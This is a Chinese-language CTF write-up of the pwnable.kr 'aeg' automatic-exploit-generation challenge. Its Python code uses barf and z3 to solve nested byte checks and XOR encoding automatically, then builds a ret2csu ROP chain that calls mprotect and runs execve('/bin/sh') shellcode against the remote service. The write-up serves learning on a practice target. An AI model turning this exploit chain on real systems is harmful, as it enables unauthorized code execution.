最近想要学习自动化解题技术,于是选择了pwnable.kr的aeg一题进行学习

何为AEG

AEG全称为Automatic Exploit Generation,意如其名,旨在考验答题者的自动化解题能力

通常AEG的题目的解题过程是这样的:

  • 连接到远程端,远程端会发送过来一串base64加密的字符串
  • 接收字符串,进行解密,将解密后的数据保存到本地,得到一个压缩文件
  • 对文件进行解压,得到可执行二进制文件
  • 此时有10秒钟的时间来生成shellcode,时间一过,连接自动断开

每次连接所得到的二进制文件都大体相同,但其中存在着许多细节上的不同

因此这里自动化解题的对象并不是一类题,只能说是一道题,因此只需要写出一个针对当前题目的自动生成payload的脚本即可,难度要相对小一些

pwnable.kr aeg

这道题位于Grotesque区,属于中等难度的pwn题目

checksec

先连接一次,得到一个可执行文件,checksec检测一次

1
2
3
4
5
6
7
8
9
10
os.system("rm -rf ./recv.bin, ./recv.decoded")
io = remote("pwnable.kr", 9005)
io.recvuntil('wait...\n')
data = io.recvuntil('\n', drop=True)
import base64
data = base64.b64decode(data)
with open("recv.bin", "wb") as f:
f.write(data)

os.system('zcat ./recv.bin > ./recv.decoded')
1
2
3
4
5
6
[*] '/ctf/work/recv.decoded'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

发现只开启了NX,表明可能存在栈溢出漏洞

初步分析

IDA打开之后,进去找到main函数,然后F5万能大法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 result; // rax
unsigned int v4; // eax
int v5; // eax
int v6; // eax
char v7; // [rsp+10h] [rbp-20h]
char v8; // [rsp+11h] [rbp-1Fh]
char v9; // [rsp+12h] [rbp-1Eh]
int v10; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
int v12; // [rsp+20h] [rbp-10h]
int v13; // [rsp+24h] [rbp-Ch]
int v14; // [rsp+28h] [rbp-8h]
int v15; // [rsp+2Ch] [rbp-4h]

if ( a1 == 2 )
{
v4 = sub_4565995(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
srand(v4);
dword_476772C = strlen(a2[1]) >> 1;
if ( dword_476772C <= 1000 )
{
v15 = 0;
v14 = 0;
while ( 2 * dword_476772C > v15 )
{
v7 = a2[1][v15];
v8 = a2[1][v15 + 1];
v9 = 0;
v5 = v14++;
__isoc99_sscanf(&v7, "%02x", &byte_4767740[v5]);
v15 += 2;
}
for ( i = 0; i < dword_476772C; ++i )
{
if ( (_BYTE)v10 == 72 && (_BYTE)v13 == 64 && 78 * (_BYTE)v13 + 51 * (_BYTE)v10 - (_BYTE)v12 == 9 )
{
v6 = v13++;
v12 = v6;
}
if ( i & 1 )
byte_4767740[i] ^= 0x44u;
else
byte_4767740[i] ^= 0x7Cu;
}
puts("payload encoded. let's go!");
sub_45658F0((unsigned __int8)byte_4767740[0], (unsigned __int8)byte_4767741, (unsigned __int8)byte_4767742);
puts("end of program");
result = 0LL;
}
else
{
puts("payload length exceeds 1000byte");
result = 0LL;
}
}
else
{
puts("usage : ./aeg [hex encoded payload]");
result = 0LL;
}
return result;
}

流程是这样的:

  • 检查是否有一个命令行的参数,如果否,则打印usage然后退出
  • 检查参数的长度除以2放入dword_476772C,检测其是否小于等于1000,如果否,则退出
  • 在while循环中,将我们的输入以如下规则转换:字符串的"ab"转换成数字0xab,即两个字节转换成一个字节,放入byte_4767740
  • 在for循环中,能看到好几句if,但大多数的if是无用操作,用来混淆视听,唯一有用的地方是i&1判断处的if else,这里对输入进行一系列异或加密
  • 加密完之后,执行sub_45658F0函数

sub_45658F0函数

第一处函数调用,其参数为加密后的输入前三个字节

1
sub_45658F0((unsigned __int8)byte_4767740[0], (unsigned __int8)byte_4767741, (unsigned __int8)byte_4767742);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char __fastcall sub_45658F0(char a1, char a2, char a3)
{
char result; // al

result = a3;
if ( a1 == 0xE4u )
{
result = 0x4C - a2;
if ( a2 == 0x1E )
{
result = 0x24 * a1 + 0x29 * a2 - a3;
if ( result == 0x62 )
result = sub_4565870(
(unsigned __int8)byte_4767743,
(unsigned __int8)byte_4767744,
(unsigned __int8)byte_4767745);
}
}
return result;
}

对第一个字节,检测其是否等于0xE4

对第二个字节,检测式子0x4C - a2 == 0x1E是否成立

对第三个字节,检测式子0x24 * a1 + 0x29 * a2 - a3 == 0x62是否成立

全部成立之后,进入sub_4565870函数,参数是加密后的输入的第四、五、六个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char __fastcall sub_4565870(char a1, char a2, char a3)
{
char result; // al

result = a3;
if ( a1 == 0xDBu )
{
result = 0x5A - a2;
if ( a2 == 0x37 )
{
result = 0x26 * a1 + 0x25 * a2 - a3;
if ( result == 0x2A )
result = sub_45657F3(
(unsigned __int8)byte_4767746,
(unsigned __int8)byte_4767747,
(unsigned __int8)byte_4767748);
}
}
return result;
}

此处可以看到,这里是套娃式检测,但是检测的条件都变了

就这样一环套一环,一直到最后

1
2
3
4
5
6
void *sub_45651C1()
{
char dest; // [rsp+0h] [rbp-40h]

return memcpy(&dest, &unk_4767770, dword_476772C - 48);
}

这里unk_4767770相对加密后输入byte_4767740偏移0x30,dword_476772C是最开始保存的输入长度除以2

利用思路

这里我主要使用了z3 barf这两个库

分析得到main函数的basic blocks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
binary_name = './recv.decoded'
barf = barf.BARF(binary_name)
def get_main_address():
cfg = barf.recover_cfg()
start_block = cfg.basic_blocks[0]
for instr in start_block.instrs:
if instr.operands[0].to_string() == 'rdi':
main_address = int(instr.operands[1].to_string(), 16)
break
return main_address
main_address = get_main_address()
cfg = barf.recover_cfg(start=main_address)
basic_blocks = cfg.basic_blocks

def find_block(addr, basic_blocks):
"""
从basic blocks中查找以addr为起始地址的block
"""
if addr is None:
raise Exception("[-] address can not be None!")
for block in basic_blocks:
if block.address == addr:
return block
raise Exception("[-] can not find it!")

我们要从main函数开始分析,所以这一步是必要的

分析得到init_csu的gadget的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def get_init_address():
cfg = barf.recover_cfg()
start_block = cfg.basic_blocks[0]
for instr in start_block.instrs:
if instr.operands[0].to_string() == 'rcx':
init_address = int(instr.operands[1].to_string(), 16)
break
return init_address
init_address = get_init_address()
init_offset1 = 0x5a
init_offset2 = 0x40
init_addr1 = init_address + init_offset1
"""
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
"""
init_addr2 = init_address + init_offset2
"""
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
add rbx, 1
cmp rbx, rbp
jnz short loc_8731CF0
"""

def csu(rbx, rbp, r12, rdx, rsi, rdi):
gadget = ''
gadget += p64(rbx) + p64(rbp) + p64(r12)
gadget += p64(rdx) + p64(rsi) + p64(rdi)
return gadget

因为源程序中并没有什么可用的gadget,因此使用这里,且这里也相对好找一些

分析得到加密后数据所在的地址

用IDA的CFG视图对main函数进行查看,可以发现,得到数据地址的块需要走的路径为:

image-20200123152129633

image-20200123152129633

start -> taken_branch -> taken_branch -> direct_branch -> taken_branch

这里我们可以发现,最后一次取taken_branch之后,相当于进入了while循环,所以我们还得保存住那里的not_taken_branch以便直接走出循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
block = find_block(basic_blocks[0].taken_branch, basic_blocks)
block = find_block(block.taken_branch, basic_blocks)
block = find_block(block.direct_branch, basic_blocks)
not_taken_branch = block.not_taken_branch # 为了走出循环
block = find_block(block.taken_branch, basic_blocks)
index = 0
for instr in block.instrs:
if instr.mnemonic == 'call':
index -= 5
break
index += 1
instr = block.instrs[index]
inp_address = int(instr.operands[1].to_string()[5:-1], 16)
"""
call sscanf的之前第五个指令的第二个操作数就包含了加密后数据的地址
"""

得到加密部分所异或的值

1
2
3
4
if ( i & 1 )
byte_4767740[i] ^= 0x44u;
else
byte_4767740[i] ^= 0x7Cu;

此处意为,index为奇数,就异或0x44,为偶数,就异或0x7C

因为加密操作在for循环中,所以我们要保存一个退出for循环的branch

image-20200123151950205

image-20200123151950205

1
2
3
block = find_block(not_taken_branch, basic_blocks)
block = find_block(block.direct_branch, basic_blocks)
not_taken_branch = block.not_taken_branch

先找到异或加密的块:

由于全局只有这里一处存在and操作所以可以从basic blocks中搜索目标and eax, 1,就可以得到xor指令附近的块

1
2
3
4
5
6
7
8
9
for b in basic_blocks:
break_flag = False
for instr in b.instrs:
if instr.mnemonic == 'and' and instr.operands[0].to_string() == 'eax' and instr.operands[1].to_string() == '0x1':
block = b
break_flag = True
break
if break_flag:
break

这时找到的是这个块

image-20200123152338054

image-20200123152338054

taken_branchnot_taken_branch分别是对应奇数和偶数的操作,所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 奇数
j_num = 0
taken_block = find_block(block.taken_branch, basic_blocks)
for instr in taken_block.instrs:
if instr.mnemonic == 'xor':
s = instr.operands[1].to_string()
idx = s.index('0x')
if 'ffffff' in s:
idx += 8
j_num = int(instr.operands[1].to_string()[idx:], 16)
break
# 偶数
o_num = 0
not_taken_block = find_block(block.not_taken_branch, basic_blocks)
for instr in not_taken_block.instrs:
if instr.mnemonic == 'xor':
s = instr.operands[1].to_string()
idx = s.index('0x')
if 'ffffff' in s:
idx += 8
o_num = int(instr.operands[1].to_string()[idx:], 16)
break

这里就得到了奇数和偶数分别对应的异或的值

进入套娃函数sub_45658F0

通过之前保存的not_taken_branch得到该函数所在的块,第二个call就是目标函数的地址

1
2
3
4
5
6
7
8
block = find_block(not_taken_branch, basic_blocks)
call_num = 0
for instr in block.instrs:
if instr.mnemonic == 'call':
if call_num == 1:
call_address = int(instr.operands[0].to_string(), 16)
break
call_num += 1

指令分析

这里就是重磅操作了,该类函数中,几乎存在的所有操作都需要分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:00000000045658F0                 push    rbp
.text:00000000045658F1 mov rbp, rsp
.text:00000000045658F4 sub rsp, 10h
.text:00000000045658F8 mov ecx, esi
.text:00000000045658FA mov eax, edx
.text:00000000045658FC mov [rbp+var_4], dil
.text:0000000004565900 mov [rbp+var_8], cl
.text:0000000004565903 mov [rbp+var_C], al
.text:0000000004565906 cmp [rbp+var_4], 0E4h
.text:000000000456590A jnz short loc_456596F
.text:000000000456590C movzx eax, [rbp+var_4]
.text:0000000004565910 mov edx, 2Bh
.text:0000000004565915 imul eax, edx
.text:0000000004565918 sub al, [rbp+var_8]
.text:000000000456591B cmp al, 2Eh
.text:000000000456591D jnz short loc_456596F
.text:000000000456591F movzx edx, [rbp+var_4]
.text:0000000004565923 mov eax, edx
.text:0000000004565925 shl eax, 3
.text:0000000004565928 add eax, edx
.text:000000000456592A shl eax, 2
.text:000000000456592D mov ecx, eax
.text:000000000456592F movzx edx, [rbp+var_8]
.text:0000000004565933 mov eax, edx
.text:0000000004565935 shl eax, 2
.text:0000000004565938 add eax, edx
.text:000000000456593A shl eax, 3
.text:000000000456593D add eax, edx
.text:000000000456593F add eax, ecx
.text:0000000004565941 sub al, [rbp+var_C]
.text:0000000004565944 cmp al, 62h
.text:0000000004565946 jnz short loc_456596F
.text:0000000004565948 movzx eax, cs:byte_4767745
.text:000000000456594F movzx edx, al
.text:0000000004565952 movzx eax, cs:byte_4767744
.text:0000000004565959 movzx ecx, al
.text:000000000456595C movzx eax, cs:byte_4767743
.text:0000000004565963 movzx eax, al
.text:0000000004565966 mov esi, ecx
.text:0000000004565968 mov edi, eax
.text:000000000456596A call sub_4565870
.text:000000000456596F
.text:000000000456596F loc_456596F: ; CODE XREF: sub_45658F0+1A↑j
.text:000000000456596F ; sub_45658F0+2D↑j ...
.text:000000000456596F nop
.text:0000000004565970 leave
.text:0000000004565971 retn

我选择分析从第四条指令开始到第三个jnz之前的除去jnz的所有操作

预备操作

1
2
3
to_to = {'eax': 'al', 'ebx': 'bl', 'ecx': 'cl', 'edx': 'dl', 'edi': 'dil'}
tv = list(to_to.values())
tk = list(to_to.keys())

因为这里所有涉及的运算操作都是byte为单位的,eax和al在这里并无太大运算上的区别,所以在这里做一个映射,把al都看作eax,以此类推

分析过程

  • 生成一个z3Solver

  • 分别生成eax等寄存器的8位的BitVec

  • 设置一个字典来保存各指令的参数的值

  • 分析各条指令,分别对mov movzx add sub shl imul lea call cmp指令进行分析一般来说已足够。指令分析过程要先分析出源操作数和目标操作数,如果是寄存器或者类似于[rbp-4]之类的,将其视为一个变量名,并检查参数字典中是否有该变量。如果有,则取出作为操作数,如果无,则生成以变量名为名的8位BitVec,然后依据相应指令所做的操作进行运算

  • 指令的操作类型非常有限,这就为我们的分析提供了非常有利的条件

  • 遇到第三个jnz的时候,其后所有指令除了call以外全部跳过

  • 分析到call的时候,取出call的地址,然后再来一轮针对该call的分析

  • 分析到memcpy的时候,分析得到dest距离rbp的距离,存为变量size

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
ans = []
size = 0 # dest相对rbp的距离
while True:
s = Solver()
eax = BitVec('eax', 8)
ebx = BitVec('ebx', 8)
ecx = BitVec('ecx', 8)
edx = BitVec('edx', 8)
edi = BitVec('edi', 8)
esi = BitVec('esi', 8)
V = {'eax': eax, 'ebx': ebx, 'ecx': ecx,
'edx': edx, 'edi': edi, 'esi': esi}
log("exec call", call_address)
cfg = barf.recover_cfg(start=call_address)
if len(cfg.basic_blocks) <= 1:
for instr in cfg.basic_blocks[0].instrs:
if instr.mnemonic == 'lea':
op2 = instr.operands[1].to_string()
obj = re.search(r"\[(\S+)\]", op2)
s = obj.groups()[0]
size = int(s.strip(' ').split('-')[1], 16)+8
print("[+] reach the target!")
break
continue_flag = False
for addr, asm_instr, reil_instrs in barf.translate(cfg.start_address+8, cfg.end_address):
if asm_instr.mnemonic == 'call':
if isinstance(s.check(), z3.z3.CheckSatResult):
md = s.model()
print(md)
edi_val = md.eval(edi).as_long()
esi_val = md.eval(esi).as_long()
edx_val = md.eval(edx).as_long()
log("found 0: ", edi_val)
log("found 1: ", esi_val)
log("found 2: ", edx_val)
ans.append(edi_val)
ans.append(esi_val)
ans.append(edx_val)
else:
raise Exception("[-] unsat!")
call_address = int(asm_instr.operands[0].to_string(), 16)
s.reset()
break
elif len(asm_instr.operands) <= 1:
continue
else:
op1 = asm_instr.operands[0].to_string()
op2 = asm_instr.operands[1].to_string()
if op1 in tv:
op1 = tk[tv.index(op1)]
if op2 in tv:
op2 = tk[tv.index(op2)]
if 'rip' in op2:
continue_flag = True
if continue_flag:
continue
Sobj1 = re.search(r"\[(\S+)\]", op1)
if is_num(op2):
var2_var = int(op2, 16)
V[op2] = var2_var
Sobj2 = None
else:
Sobj2 = re.search(r"\[(\S+)\]", op2)
if Sobj1 is None:
var1_name = op1
else:
var1_name = Sobj1.groups()[0]
if var1_name in V.keys():
var1_var = V[var1_name]
else:
var1_var = BitVec(var1_name, 8)
if Sobj2 is None:
var2_name = op2
else:
var2_name = Sobj2.groups()[0]
if var2_name in V.keys():
var2_var = V[var2_name]
else:
var2_var = BitVec(var2_name, 8)
if asm_instr.mnemonic == 'mov' or asm_instr.mnemonic == 'movzx':
var1_var = var2_var
if asm_instr.mnemonic == 'cmp':
s.add(var1_var == var2_var)
if asm_instr.mnemonic == 'add':
var1_var += var2_var
if asm_instr.mnemonic == 'sub':
var1_var -= var2_var
if asm_instr.mnemonic == 'imul':
var1_var *= var2_var
if asm_instr.mnemonic == 'shl':
var1_var <<= var2_var
if asm_instr.mnemonic == 'lea':
if '*' in var2_name:
vs = var2_name.strip(' ').split('*')
var2_name = vs[0].replace('r', 'e')
if var2_name in V.keys():
var2_var = V[var2_name]
else:
var2_var = BitVec(var2_name, 8)
var2_var *= int(vs[1], 16)
if '+' in var2_name:
vs = var2_name.strip(' ').split('+')
v1 = vs[0].replace('r', 'e')
v2 = vs[1].replace('r', 'e')
if v1 in tk:
var1 = V[v1]
else:
var1 = int(v1, 16)
if v2 in tk:
var2 = V[v2]
else:
var2 = int(v2, 16)
var2_var = var1
var2_var += var2
var1_var = var2_var
V[var1_name] = var1_var

漏洞利用

程序非常贴心地导入了mprotect,所以我们可以通过利用mprotect将加密后数据的地址所存在的页的属性变为RWX,然后跳入这里执行shellcode完成利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elf = ELF(binary_name)
gadget = ''.join([chr(c) for c in ans]).ljust(len(ans)+size, '\x00')
gadget += p64(init_addr1)
gadget += csu(0, 1, elf.got['mprotect'], 7, 0x1000, inp_address&(~0xfff))
gadget += p64(init_addr2) + p64(0)
gadget += csu(0, 1, inp_address+0x200, 0, 0, 0)
gadget += p64(init_addr2)
gadget = gadget.ljust(0x200, '\x00')
gadget += p64(inp_address+0x208)
shellcode = """
mov rdi, 0x0068732f6e69622f
push rdi
lea rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov rax, SYS_execve
syscall
"""

shellcode = asm(shellcode)
gadget = gadget + shellcode

最后不能忘了还要将payload解密,编码

1
2
3
4
5
6
7
8
9
10
payload = ''
for i in range(len(gadget)):
if i & 1:
c = hex(ord(gadget[i]) ^ j_num)[2:].rjust(2, '0')
else:
c = hex(ord(gadget[i]) ^ o_num)[2:].rjust(2, '0')
payload += c

io.sendline(payload)
io.interactive()

就可以get shell

脚本在[Github]([https://github.com/DayJun/Blogs/blob/master/Articles/pwnable.kr%20aeg/aeg.py](https://github.com/DayJun/Blogs/blob/master/Articles/pwnable.kr aeg/aeg.py))

总结

做出这道题之前,本打算用angr来解题,但是由于对angr的API不熟悉,学习成本很大,因此改用我相对熟悉的barf来辅助分析,收获不算颇丰,但做出这道题挺舒服的